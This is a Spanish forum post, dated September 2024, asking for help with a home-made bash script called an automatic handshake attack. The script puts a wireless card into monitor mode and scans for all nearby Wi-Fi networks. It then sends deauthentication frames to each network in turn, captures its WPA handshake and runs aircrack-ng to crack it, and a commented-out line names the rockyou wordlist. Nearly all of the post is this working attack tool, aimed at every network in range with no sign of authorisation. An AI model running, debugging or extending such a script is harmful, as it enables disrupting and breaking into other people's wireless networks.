ataque de apretón de manos automático
Publicado: 15 Sep 2024, 17:22
Bueno chicos, aquí tengo un código que hice yo mismo y tengo un problema. Cuando tengo 1 red funciona bien con dos redes no funciona no funciona y el código de error
Agradecería un poco de ayuda :D
Agradecería un poco de ayuda :D
Código: Seleccionar todo
#!/bin/bash # Definir a interface padrão (pode ajustar conforme sua interface) INTERFACE="wlan0mon" # Verificar se a interface wlan0 está disponível if sudo airmon-ng | grep -q "wlan0mon"; then echo "" echo "Encontramos a sua placa de rede :)" echo "Modo Wlan0mon está ativa" echo "" elif sudo airmon-ng | grep -q "wlan0"; then echo "" echo "Encontramos a sua placa de rede :)" echo "Ativando O AtaQue" echo "" sudo ifconfig wlan0 down sudo airmon-ng check kill sudo airmon-ng start wlan0 else echo "Placa de rede não encontrada. Verifique se o dispositivo está conectado." exit 1 fi sleep 10 # Coletar informações das redes por 30 segundos echo "Coletando informações das redes por 30 segundos..." sudo rm -f redes-01.csv redes_detectadas.txt sudo timeout 30s airodump-ng $INTERFACE -w redes --output-format csv # Verificar se o arquivo redes-01.csv contém dados if [ ! -s redes-01.csv ]; then clear echo "Erro: Nenhuma rede detectada. Reinicie sua placa de rede e tente novamente." echo "parando o ataque" sudo airmon-ng stop $INTERFACE sudo service networking restart exit 1 fi # Processar redes detectadas e salvar em uma lista temporária awk -F',' 'NR>2 && $1 ~ /^[0-9A-F:]{17}$/ && $14 != "" { print $1, $4, $14; }' redes-01.csv > redes_detectadas.txt # Verificar se algum BSSID foi encontrado no arquivo redes_detectadas.txt if [ ! -s redes_detectadas.txt ]; then echo "Erro: Nenhuma rede válida foi detectada. Reinicie sua placa de rede e tente novamente." sudo airmon-ng stop $INTERFACE sudo service networking restart exit 1 fi # Loop através de cada rede identificada para executar o ataque de deauth e captura de pacotes while read -r bssid ch rede; do echo "Iniciando ataque de deauth e captura para ESSID ($rede)..." #echo "sudo aireplay-ng --deauth 15 -a "${bssid}" wlan0mon" #echo "sudo timeout 30s airodump-ng --bssid "${bssid}" --channel "${ch}" -w "${rede}" wlan0mon" sudo aireplay-ng --deauth 15 -a "${bssid}" wlan0mon & sudo timeout 30s airodump-ng --bssid "${bssid}" --channel "${ch}" -w "${rede}" wlan0mon # Remover arquivos temporários após a captura estar completa sudo rm -f "${rede}-01.csv" "${rede}-01.log.csv" "${rede}-01.kismet.csv" "${rede}-01.kismet.netxml" echo "." echo "Executando aircrack-ng..." echo "." # Executa o aircrack-ng e redireciona os erros para um arquivo #aircrack-ng -w "/home/kali/Área de Trabalho/hack the box/rockyou.txt" "${rede}-01.cap" 2> "${rede}-error.log" aircrack-ng "${rede}-01.cap" 2> "${rede}-error.log" if [ $? -ne 0 ]; then echo "Erro ao executar o aircrack-ng. Removendo o arquivo ${rede}-01.cap." rm -f "${rede}-01.cap" rm -f "${rede}-error.log" else echo "Aircrack-ng executado com sucesso. Arquivo ${rede}-01.cap mantido." rm -f "${rede}-error.log" fi sleep 20 done < redes_detectadas.txt read -p 'Deseja terminar com o ataque? s/n ' Yes if [ "$Yes" == "s" ]; then sudo airmon-ng stop $INTERFACE sudo service networking restart echo "Ataques concluídos e interface de monitoramento parada." else echo "Que continuem os ataques" fi